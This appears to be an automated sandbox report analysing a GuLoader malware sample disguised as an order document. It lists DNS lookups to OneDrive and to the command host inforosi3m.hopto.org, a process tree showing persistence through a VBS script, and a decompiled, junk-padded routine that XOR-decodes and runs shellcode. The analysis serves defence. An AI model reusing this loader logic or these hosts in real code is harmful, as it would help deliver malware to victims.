Jan 20, 2021 16:54:51.016771078 CET	192.168.2.6	8.8.8.8	0x8133	Standard query (0)	onedrive.live.com	A (IP address)	IN (0x0001)
Jan 20, 2021 16:54:52.487951040 CET	192.168.2.6	8.8.8.8	0x4ebb	Standard query (0)	ry3dmw.dm.files.1drv.com	A (IP address)	IN (0x0001)
Jan 20, 2021 16:54:53.382000923 CET	192.168.2.6	8.8.8.8	0x35c5	Standard query (0)	inforosi3m.hopto.org	A (IP address)	IN (0x0001)
Jan 20, 2021 16:55:11.684097052 CET	192.168.2.6	8.8.8.8	0x3de	Standard query (0)	onedrive.live.com	A (IP address)	IN (0x0001)
Jan 20, 2021 16:55:12.183809996 CET	192.168.2.6	8.8.8.8	0x6be	Standard query (0)	ry3dmw.dm.files.1drv.com	A (IP address)	IN (0x0001)
Jan 20, 2021 16:55:22.543064117 CET	192.168.2.6	8.8.8.8	0xd50d	Standard query (0)	onedrive.live.com	A (IP address)	IN (0x0001)
Jan 20, 2021 16:55:23.130413055 CET	192.168.2.6	8.8.8.8	0x4058	Standard query (0)	ry3dmw.dm.files.1drv.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jan 20, 2021 16:54:51.064860106 CET	8.8.8.8	192.168.2.6	0x8133	No error (0)	onedrive.live.com	odc-web-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)
Jan 20, 2021 16:54:52.577634096 CET	8.8.8.8	192.168.2.6	0x4ebb	No error (0)	ry3dmw.dm.files.1drv.com	dm-files.fe.1drv.com		CNAME (Canonical name)	IN (0x0001)
Jan 20, 2021 16:54:52.577634096 CET	8.8.8.8	192.168.2.6	0x4ebb	No error (0)	dm-files.fe.1drv.com	odc-dm-files-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)
Jan 20, 2021 16:54:53.445444107 CET	8.8.8.8	192.168.2.6	0x35c5	No error (0)	inforosi3m.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 20, 2021 16:55:11.733552933 CET	8.8.8.8	192.168.2.6	0x3de	No error (0)	onedrive.live.com	odc-web-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)
Jan 20, 2021 16:55:12.250924110 CET	8.8.8.8	192.168.2.6	0x6be	No error (0)	ry3dmw.dm.files.1drv.com	dm-files.fe.1drv.com		CNAME (Canonical name)	IN (0x0001)
Jan 20, 2021 16:55:12.250924110 CET	8.8.8.8	192.168.2.6	0x6be	No error (0)	dm-files.fe.1drv.com	odc-dm-files-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)
Jan 20, 2021 16:55:22.593735933 CET	8.8.8.8	192.168.2.6	0xd50d	No error (0)	onedrive.live.com	odc-web-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)
Jan 20, 2021 16:55:23.189975023 CET	8.8.8.8	192.168.2.6	0x4058	No error (0)	ry3dmw.dm.files.1drv.com	dm-files.fe.1drv.com		CNAME (Canonical name)	IN (0x0001)
Jan 20, 2021 16:55:23.189975023 CET	8.8.8.8	192.168.2.6	0x4058	No error (0)	dm-files.fe.1drv.com	odc-dm-files-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: NEWORDERrefno0992883jpg.exe PID: 1908 Parent PID: 6012

General

Start time:	16:54:35
Start date:	20/01/2021
Path:	C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe'
Imagebase:	0x400000
File size:	98304 bytes
MD5 hash:	55124BC60C871581F110B6F09E8EE902
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Visual Basic
Reputation:	low

Chronological Activities

Analysis Process: NEWORDERrefno0992883jpg.exe PID: 4712 Parent PID: 1908

General

Start time:	16:54:42
Start date:	20/01/2021
Path:	C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe'
Imagebase:	0x400000
File size:	98304 bytes
MD5 hash:	55124BC60C871581F110B6F09E8EE902
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader, Description: Yara detected GuLoader, Source: 00000001.00000002.696666279.0000000000562000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: wscript.exe PID: 6348 Parent PID: 3440

General

Start time:	16:54:55
Start date:	20/01/2021
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\WScript.exe' 'C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.vbs'
Imagebase:	0x7ff7931b0000
File size:	163840 bytes
MD5 hash:	9A68ADD12EB50DDE7586782C3EB9FF9C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: PILGRIMIZES.exe PID: 5668 Parent PID: 6348

General

Start time:	16:54:56
Start date:	20/01/2021
Path:	C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe
Imagebase:	0x400000
File size:	98304 bytes
MD5 hash:	55124BC60C871581F110B6F09E8EE902
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Visual Basic
Antivirus matches:	Detection: 9%, ReversingLabs
Reputation:	low

Chronological Activities

Analysis Process: PILGRIMIZES.exe PID: 6668 Parent PID: 5668

General

Start time:	16:55:01
Start date:	20/01/2021
Path:	C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe
Imagebase:	0x400000
File size:	98304 bytes
MD5 hash:	55124BC60C871581F110B6F09E8EE902
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader, Description: Yara detected GuLoader, Source: 00000006.00000002.415603840.0000000000560000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: wscript.exe PID: 6728 Parent PID: 3440

General

Start time:	16:55:03
Start date:	20/01/2021
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\WScript.exe' 'C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.vbs'
Imagebase:	0x7ff7931b0000
File size:	163840 bytes
MD5 hash:	9A68ADD12EB50DDE7586782C3EB9FF9C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: SUSP_LNK_SuspiciousCommands, Description: Detects LNK file with suspicious content, Source: 00000007.00000003.399918336.000002634EBD5000.00000004.00000001.sdmp, Author: Florian Roth
Reputation:	high

Chronological Activities

Analysis Process: PILGRIMIZES.exe PID: 6776 Parent PID: 6728

General

Start time:	16:55:05
Start date:	20/01/2021
Path:	C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe
Imagebase:	0x400000
File size:	98304 bytes
MD5 hash:	55124BC60C871581F110B6F09E8EE902
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Visual Basic
Reputation:	low

Chronological Activities

Analysis Process: PILGRIMIZES.exe PID: 7140 Parent PID: 6776

General

Start time:	16:55:15
Start date:	20/01/2021
Path:	C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe
Imagebase:	0x400000
File size:	98304 bytes
MD5 hash:	55124BC60C871581F110B6F09E8EE902
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader, Description: Yara detected GuLoader, Source: 0000000B.00000002.438708197.0000000000560000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: NEWORDERrefno0992883jpg.exe PID: 1908 Parent PID: 6012 NEWORDERrefno0992883jpg.exeCOMMON

Executed Functions

Function 021F0949, Relevance: 14.6, APIs: 2, Strings: 6, Instructions: 575COMMON

Download Yara Rule

Strings

user32, xrefs: 021F53D4
TEMP=, xrefs: 021F5402
6, xrefs: 021F0A3C
1.!T, xrefs: 021F0A20
ntdll, xrefs: 021F53E0
kernel32, xrefs: 021F5355

Memory Dump Source

Source File: 00000000.00000002.351775983.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID:
String ID: 1.!T$TEMP=$kernel32$ntdll$user32$6
API String ID: 0-1535988826
Opcode ID: 056068e0199762cd18f3817823360b3b0426fc02bf4a9b1eb23fb8b580b2446e
Instruction ID: eaa2f5a589d1bc590bd7bfc79bb348b01cbb056ac7adbed0ade217e2363d37b9
Opcode Fuzzy Hash: 056068e0199762cd18f3817823360b3b0426fc02bf4a9b1eb23fb8b580b2446e
Instruction Fuzzy Hash: 83F1054A1D0200AADFC11F5455567EAFB36AF17630FD047A7C73E1A8EBE394018396BA

Uniqueness

Uniqueness Score: -1.00%

Function 021F4791, Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 301librarynativethreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,?,021F7E3E,F21FD920), ref: 021F0A3A
LoadLibraryA.KERNELBASE(?,082962C8,D85175A0,021F09F0,00000000,?,021F7E3E,F21FD920,?,?,?,?,?,?,000000F0), ref: 021F71A2

Strings

6, xrefs: 021F0A3C
1.!T, xrefs: 021F0A20
kernel32, xrefs: 021F5355

Memory Dump Source

Source File: 00000000.00000002.351775983.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID: InformationLibraryLoadThread
String ID: 1.!T$kernel32$6
API String ID: 543350213-3815127790
Opcode ID: f2c38d81423dff7b716480527dc50708ad5b8929b4b0035873890d081cae67f8
Instruction ID: a4aa2ef4f4f6e6df7d362531d2888e6644eb02b618369c2350d778f8901f69f0
Opcode Fuzzy Hash: f2c38d81423dff7b716480527dc50708ad5b8929b4b0035873890d081cae67f8
Instruction Fuzzy Hash: 59A109242C0341AAEFE16F248C45BEEB726AF14730FC04356EF3A1A5DAD7749582C766

Uniqueness

Uniqueness Score: -1.00%

Function 021F21CE, Relevance: 7.5, APIs: 1, Strings: 3, Instructions: 493COMMON

Download Yara Rule

Strings

6, xrefs: 021F0A3C
1.!T, xrefs: 021F0A20
kernel32, xrefs: 021F5355

Memory Dump Source

Source File: 00000000.00000002.351775983.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID: LibraryLoad
String ID: 1.!T$kernel32$6
API String ID: 1029625771-3815127790
Opcode ID: e66d33a04ea8c841b911594676a374bff4d08d4e93b98d48ede39be01a0587b6
Instruction ID: 5ab38c5f7fc6b43ab1225785709d97825f02ea145f7df77b2e6d1c03ed2f9016
Opcode Fuzzy Hash: e66d33a04ea8c841b911594676a374bff4d08d4e93b98d48ede39be01a0587b6
Instruction Fuzzy Hash: 08F12634680601AFEB949F28CC91BD9B7A5BF04330F944329EF79576C1C774A891CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 021F2EB1, Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 203COMMON

Download Yara Rule

Strings

6, xrefs: 021F0A3C
1.!T, xrefs: 021F0A20
kernel32, xrefs: 021F5355

Memory Dump Source

Source File: 00000000.00000002.351775983.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID:
String ID: 1.!T$kernel32$6
API String ID: 0-3815127790
Opcode ID: e6cb2d2a6321a3622f6a5863f9a28e66a1ea55b399208a008a47f4c33d2e3b25
Instruction ID: 92ef1e38d7aeaf0aeeec802745c984c1779337722162d2dace68b300c3e6f7d9
Opcode Fuzzy Hash: e6cb2d2a6321a3622f6a5863f9a28e66a1ea55b399208a008a47f4c33d2e3b25
Instruction Fuzzy Hash: 4A512928290300AAEFC02F2458467EEBB239F15730FD04397DB391B9DAD7645582C6AB

Uniqueness

Uniqueness Score: -1.00%

Function 021F09D6, Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 186nativethreadCOMMON

Download Yara Rule

APIs

Part of subcall function 021F7101: LoadLibraryA.KERNELBASE(?,082962C8,D85175A0,021F09F0,00000000,?,021F7E3E,F21FD920,?,?,?,?,?,?,000000F0), ref: 021F71A2

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,?,021F7E3E,F21FD920), ref: 021F0A3A

Strings

6, xrefs: 021F0A3C
1.!T, xrefs: 021F0A20
kernel32, xrefs: 021F5355

Memory Dump Source

Source File: 00000000.00000002.351775983.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID: InformationLibraryLoadThread
String ID: 1.!T$kernel32$6
API String ID: 543350213-3815127790
Opcode ID: d13d68edab8ed4cb04431359cb3a9bc98df9bd99a92c45319a31085148ee8a6a
Instruction ID: 0085df927b3e76d4b9896e0927de8766181d85f5f571cef03fdeadfb9fbd01b1
Opcode Fuzzy Hash: d13d68edab8ed4cb04431359cb3a9bc98df9bd99a92c45319a31085148ee8a6a
Instruction Fuzzy Hash: 5851F718290300AAEFC52F1458467EEFB229F15730FC44397DB391A9DBD7649582C6BB

Uniqueness

Uniqueness Score: -1.00%

Function 021F08E0, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 118COMMON

Download Yara Rule

Strings

6, xrefs: 021F0A3C
1.!T, xrefs: 021F0A20

Memory Dump Source

Source File: 00000000.00000002.351775983.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID:
String ID: 1.!T$6
API String ID: 0-4198636089
Opcode ID: 582bfd598ad97da59a2dcbf8727e55e6489b0e9a8a930503a9a234a621d526e6
Instruction ID: b7b4497c04c2bbcf4c643fab75fbacdd4f14f4ef5f4d0868e3811223f24c01fe
Opcode Fuzzy Hash: 582bfd598ad97da59a2dcbf8727e55e6489b0e9a8a930503a9a234a621d526e6
Instruction Fuzzy Hash: F5311A792C030096FF915F608945B9AB762BF1AB70FA00165EF3E2B1DFE36085029725

Uniqueness

Uniqueness Score: -1.00%

Function 021F32BD, Relevance: 1.9, APIs: 1, Instructions: 419COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.351775983.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bbf00c7610de0f05eddeb6fc8c99a161b38a0882ed0f752d1a21296289f15116
Instruction ID: c5e252c62f1d3306889cf93101ba7429b53d21870196a1c6d0c3deabc25ee624
Opcode Fuzzy Hash: bbf00c7610de0f05eddeb6fc8c99a161b38a0882ed0f752d1a21296289f15116
Instruction Fuzzy Hash: F4D14876280184AFEF916F10CC45BEAB726FF42730F9043B5EB3A1A5E1C7B444869B65

Uniqueness

Uniqueness Score: -1.00%

Function 021F3447, Relevance: 1.9, APIs: 1, Instructions: 368COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.351775983.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09866bc2e2635fbd87cc7f682fde58e4964fbe55f57ca3d4c7d2365a9c7cb377
Instruction ID: 88d6edc74d53d25de6e4fc95b80e6e1abf87b5e37f502d27cc475f18780018f5
Opcode Fuzzy Hash: 09866bc2e2635fbd87cc7f682fde58e4964fbe55f57ca3d4c7d2365a9c7cb377
Instruction Fuzzy Hash: 70B124B61801809FEF921F50DD55BE9BB26BF02730FA043B5DB7A1A5E2C3A841829765

Uniqueness

Uniqueness Score: -1.00%

Function 021F8BF1, Relevance: 1.8, APIs: 1, Instructions: 337nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(000000FF,?,?,?,?,021F868B,00000040,021F0A1D,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 021F8BD7

Memory Dump Source

Source File: 00000000.00000002.351775983.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 77577c6859206ce0f5d9e914d97140b646debcf90c738708d983ab5d9850c08e
Instruction ID: 97f3ff7d5b05acafe629ef9c1d722192ea3dba7ee9629f3c1dae439fdd96329f
Opcode Fuzzy Hash: 77577c6859206ce0f5d9e914d97140b646debcf90c738708d983ab5d9850c08e
Instruction Fuzzy Hash: 3071249A0A65484FDBC50B54A945BE6B779EE03630BA203E7C33E8E5F7D3A401438336

Uniqueness

Uniqueness Score: -1.00%

Function 021F3645, Relevance: 1.8, APIs: 1, Instructions: 312nativeCOMMON

Download Yara Rule

APIs

NtWriteVirtualMemory.NTDLL(?,00000000,?,00000000,?,?,?,?,00000000,?,00001000,00000040,?,00000000,?), ref: 021F399D

Memory Dump Source

Source File: 00000000.00000002.351775983.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID: MemoryVirtualWrite
String ID:
API String ID: 3527976591-0
Opcode ID: b7494858e0db2c898c1360c60e76d2270a6d5d33d68447b08d17188ab5fb1089
Instruction ID: 857c293049ecf6b92d8eab31d7bfd7b20eb06018920e86a975cb4cf87b69c35e
Opcode Fuzzy Hash: b7494858e0db2c898c1360c60e76d2270a6d5d33d68447b08d17188ab5fb1089
Instruction Fuzzy Hash: 1891387A1901C09AEFD11B509D55BE9B726BF07730FA003F2DB3A0D6E6C3E5028396A5

Uniqueness

Uniqueness Score: -1.00%

Function 021F3807, Relevance: 1.8, APIs: 1, Instructions: 270nativeCOMMON

Download Yara Rule

APIs

NtWriteVirtualMemory.NTDLL(?,00000000,?,00000000,?,?,?,?,00000000,?,00001000,00000040,?,00000000,?), ref: 021F399D

Memory Dump Source

Source File: 00000000.00000002.351775983.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID: MemoryVirtualWrite
String ID:
API String ID: 3527976591-0
Opcode ID: 23256ff1bf22022f9176b68cbf1785b6d8ea4ac966f0dab8381495664a1a7aeb
Instruction ID: 604c3bd3846a812943bf4473dbedda08faa13bdbc0d458c048b407dd893421da
Opcode Fuzzy Hash: 23256ff1bf22022f9176b68cbf1785b6d8ea4ac966f0dab8381495664a1a7aeb
Instruction Fuzzy Hash: C971D36A0901C08ADBC11B609955BE9BB76BF07730FE007F6D73A1A5F7C3E801939665

Uniqueness

Uniqueness Score: -1.00%

Function 021F8511, Relevance: 1.8, APIs: 1, Instructions: 262COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.351775983.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID: LibraryLoadMemoryProtectVirtual
String ID:
API String ID: 3389902171-0
Opcode ID: 626bd06504e8647a810d55e1546fc5724fbd2f02994c629e497a187d1d976711
Instruction ID: b5d8097465de93b3e03b4a2f02c06809a0c0171deb21e4b2b0f22a9d3f418323
Opcode Fuzzy Hash: 626bd06504e8647a810d55e1546fc5724fbd2f02994c629e497a187d1d976711
Instruction Fuzzy Hash: 9091EC709843418FDB75DF38C8D8B55BB91AF56320F55C2A9DAB68F2D6C3348442CB22

Uniqueness

Uniqueness Score: -1.00%

Function 021F3568, Relevance: 1.7, APIs: 1, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.351775983.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ef05106888bce20c49d128d5450f9ef0daec24570a061bf38bf199399bb51e7
Instruction ID: 26a9cf73a5cc81d0f78172c0d2bdd0504a12e8c081ea84099de3c0462bed5561
Opcode Fuzzy Hash: 0ef05106888bce20c49d128d5450f9ef0daec24570a061bf38bf199399bb51e7
Instruction Fuzzy Hash: 6E61C4B1280289BFFB616F10CCA5BE97A66FF05304F554128FB659B2D0C7B998948B84

Uniqueness

Uniqueness Score: -1.00%

Function 021F8BBB, Relevance: 1.5, APIs: 1, Instructions: 14nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(000000FF,?,?,?,?,021F868B,00000040,021F0A1D,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 021F8BD7

Memory Dump Source

Source File: 00000000.00000002.351775983.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: e321634b5848cb9033a4850ee334c4796eaa3c0b8d5c91ad4aee0868860d2ee2
Instruction ID: 99a9d8d00dcc117a606ac92e411db70f0a20e9638b8254fcc77bd410a86e3b5b
Opcode Fuzzy Hash: e321634b5848cb9033a4850ee334c4796eaa3c0b8d5c91ad4aee0868860d2ee2
Instruction Fuzzy Hash: 72C012E82240002E68048E28CD48D2BB2AA86D8A28B10C32CB872B22CCCA30EC058132

Uniqueness

Uniqueness Score: -1.00%

Function 0040418E, Relevance: 1.4, APIs: 1, Instructions: 171
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 26%

			E0040418E(void* __edx, void* __edi) {
				intOrPtr* _t132;
				intOrPtr* _t135;
				void* _t136;
				void* _t138;
				intOrPtr _t139;
				void* _t140;
				void* _t170;
				void* _t172;
				signed int* _t173;

				_t140 = __edx;
				asm("int 0xff");
				 *((intOrPtr*)(__edi + 0x31)) =  *((intOrPtr*)(__edi + 0x31)) + 1;
				_t172 = _t170 - 1 + 1;
				asm("clc");
				 *(_t172 + 0x38) =  *(_t172 + 0x38) + 1;
				 *(_t172 + 0x38) =  *(_t172 + 0x38) - 1;
				 *(_t172 + 0x38) =  *(_t172 + 0x38);
				asm("cld");
				 *(_t172 + 0x38) =  *(_t172 + 0x38) ^ 0x00000000;
				 *_t173 =  *_t173 ^ 0x00000000;
				asm("clc");
				 *(_t172 + 0x38) =  *(_t172 + 0x38);
				asm("clc");
				asm("clc");
				 *(_t172 + 0x38) =  *(_t172 + 0x38);
				 *_t173 =  *_t173;
				 *_t173 =  *_t173 ^ 0x00000000;
				_t139 =  *0xcfde96;
				 *(_t172 + 0x38) =  *(_t172 + 0x38);
				 *_t173 =  *_t173;
				 *(_t172 + 0x38) =  *(_t172 + 0x38) ^ 0x00000000;
				 *_t173 =  *_t173 ^ 0x00000000;
				asm("clc");
				 *_t173 =  *_t173 ^ 0x00000000;
				 *_t173 =  *_t173;
				asm("clc");
				asm("cld");
				 *(_t172 + 0x38) =  *(_t172 + 0x38) + 1;
				 *(_t172 + 0x38) =  *(_t172 + 0x38) - 1;
				asm("cld");
				 *(_t172 + 0x38) =  *(_t172 + 0x38);
				 *_t173 =  *_t173 ^ 0x00000000;
				_t132 =  *((intOrPtr*)(0x401000));
				 *(_t172 + 0x38) =  *(_t172 + 0x38) + 1;
				 *(_t172 + 0x38) =  *(_t172 + 0x38) - 1;
				do {
					 *(_t172 + 0x38) =  *(_t172 + 0x38) ^ 0x00000000;
					asm("clc");
					_t132 = _t132 - 1;
					 *(_t172 + 0x38) =  *(_t172 + 0x38);
					 *(_t172 + 0x38) =  *(_t172 + 0x38);
				} while ( *_t132 != _t139);
				asm("clc");
				 *(_t172 + 0x38) =  *(_t172 + 0x38);
				 *(_t172 + 0x38) =  *(_t172 + 0x38);
				 *_t173 =  *_t173;
				asm("cld");
				asm("cld");
				 *(_t172 + 0x38) =  *(_t172 + 0x38) ^ 0x00000000;
				 *_t173 =  *_t173;
				 *(_t172 + 0x38) =  *(_t172 + 0x38) ^ 0x00000000;
				 *(_t172 + 0x38) =  *(_t172 + 0x38) ^ 0x00000000;
				asm("cld");
				 *_t173 =  *_t173;
				 *_t173 =  *_t173;
				 *_t173 =  *_t173 ^ 0x00000000;
				 *_t173 =  *_t173;
				 *(_t172 + 0x38) =  *(_t172 + 0x38);
				 *(_t172 + 0x38) =  *(_t172 + 0x38) ^ 0x00000000;
				asm("cld");
				asm("clc");
				 *(_t172 + 0x38) =  *(_t172 + 0x38) + 1;
				 *(_t172 + 0x38) =  *(_t172 + 0x38) - 1;
				 *(_t172 + 0x38) =  *(_t172 + 0x38);
				 *(_t172 + 0x38) =  *(_t172 + 0x38);
				 *(_t172 + 0x38) =  *(_t172 + 0x38) ^ 0x00000000;
				asm("cld");
				 *(_t172 + 0x38) =  *(_t172 + 0x38);
				asm("cld");
				asm("clc");
				asm("cld");
				asm("clc");
				asm("clc");
				 *_t173 =  *_t173;
				 *(_t172 + 0x38) =  *(_t172 + 0x38) ^ 0x00000000;
				 *(_t172 + 0x38) =  *(_t172 + 0x38) + 1;
				 *(_t172 + 0x38) =  *(_t172 + 0x38) - 1;
				 *(_t172 + 0x38) =  *(_t172 + 0x38) ^ 0x00000000;
				 *(_t172 + 0x38) =  *(_t172 + 0x38);
				asm("clc");
				 *_t173 =  *_t173;
				 *(_t172 + 0x38) =  *(_t172 + 0x38);
				 *(_t172 + 0x38) =  *(_t172 + 0x38);
				asm("clc");
				 *(_t172 + 0x38) =  *(_t172 + 0x38);
				 *(_t172 + 0x38) =  *(_t172 + 0x38) ^ 0x00000000;
				 *(_t172 + 0x38) =  *(_t172 + 0x38) + 1;
				 *(_t172 + 0x38) =  *(_t172 + 0x38) - 1;
				 *_t173 =  *_t173;
				 *_t173 =  *_t173 ^ 0x00000000;
				 *(_t172 + 0x38) =  *(_t172 + 0x38) ^ 0x00000000;
				 *(_t172 + 0x38) =  *(_t172 + 0x38);
				 *_t173 =  *_t173;
				 *_t173 =  *_t173 ^ 0x00000000;
				 *_t173 =  *_t173 ^ 0x00000000;
				asm("cld");
				 *(_t172 + 0x38) =  *(_t172 + 0x38) + 1;
				 *(_t172 + 0x38) =  *(_t172 + 0x38) - 1;
				 *(_t172 + 0x38) =  *(_t172 + 0x38) ^ 0x00000000;
				 *(_t172 + 0x38) =  *(_t172 + 0x38) + 1;
				 *(_t172 + 0x38) =  *(_t172 + 0x38) - 1;
				 *_t173 =  *_t173 ^ 0x00000000;
				 *(_t172 + 0x38) =  *(_t172 + 0x38) + 1;
				 *(_t172 + 0x38) =  *(_t172 + 0x38) - 1;
				 *(_t172 + 0x38) =  *(_t172 + 0x38);
				asm("cld"); // executed
				VirtualAlloc(0, 0xe000, 0x1000, 0x40); // executed
				 *(_t172 + 0x38) =  *(_t172 + 0x38) ^ 0x00000000;
				_t135 = E004043DC();
				 *(_t172 + 0x38) =  *(_t172 + 0x38);
				 *(_t172 + 0x38) =  *(_t172 + 0x38);
				_t138 = 0;
				 *(_t172 + 0x38) =  *(_t172 + 0x38);
				do {
					 *_t173 =  *_t173 ^ 0x00000000;
					asm("cld");
					_push( *((intOrPtr*)(_t140 + _t138)));
					 *(_t172 + 0x38) =  *(_t172 + 0x38) + 1;
					 *(_t172 + 0x38) =  *(_t172 + 0x38) - 1;
					 *_t173 =  *_t173 ^ 0x18f0fb72;
					asm("cld");
					 *_t173 =  *_t173;
					_pop( *_t118);
					 *(_t172 + 0x38) =  *(_t172 + 0x38) ^ 0x00000000;
					asm("clc");
					_t138 = _t138 - 0xfffffffc;
					 *(_t172 + 0x38) =  *(_t172 + 0x38);
				} while (_t138 != 0x9cb4);
				 *(_t172 + 0x38) =  *(_t172 + 0x38);
				 *_t173 =  *_t173;
				_t136 =  *_t135();
				asm("cld");
				asm("clc");
				asm("clc");
				 *_t173 =  *_t173;
				 *_t173 =  *_t173 ^ 0x00000000;
				 *(_t172 + 0x38) =  *(_t172 + 0x38);
				return _t136;
			}

0x0040418e
0x0040418e
0x00404192
0x00404196
0x00404197
0x00404198
0x0040419b
0x004041a3
0x004041a7
0x004041ae
0x004041b2
0x004041bc
0x004041bd
0x004041c7
0x004041ce
0x004041cf
0x004041d3
0x004041d7
0x004041db
0x004041dd
0x004041e1
0x004041ea
0x004041ee
0x004041f7
0x004041fd
0x00404201
0x0040420a
0x0040420b
0x00404211
0x00404214
0x00404217
0x00404218
0x0040421c
0x00404220
0x00404223
0x00404226
0x00404229
0x00404229
0x0040422d
0x0040422e
0x0040422f
0x00404233
0x00404237
0x0040423b
0x0040423c
0x00404245
0x00404249
0x00404253
0x00404254
0x0040425b
0x0040425f
0x00404269
0x0040426d
0x00404277
0x00404278
0x0040427c
0x00404280
0x00404287
0x0040428b
0x00404294
0x00404298
0x0040429c
0x0040429d
0x004042a0
0x004042a6
0x004042aa
0x004042b1
0x004042b8
0x004042b9
0x004042bd
0x004042bf
0x004042c0
0x004042c6
0x004042c7
0x004042ce
0x004042d2
0x004042dc
0x004042df
0x004042e2
0x004042ec
0x004042f0
0x004042f7
0x004042fb
0x004042ff
0x00404303
0x00404305
0x00404309
0x00404312
0x00404315
0x00404318
0x00404322
0x00404326
0x00404330
0x00404334
0x0040433e
0x00404348
0x0040434c
0x0040434d
0x00404350
0x00404353
0x00404358
0x0040435b
0x0040435e
0x00404364
0x00404367
0x0040436a
0x0040436f
0x00404370
0x00404372
0x00404376
0x0040437b
0x0040437f
0x00404383
0x00404385
0x00404389
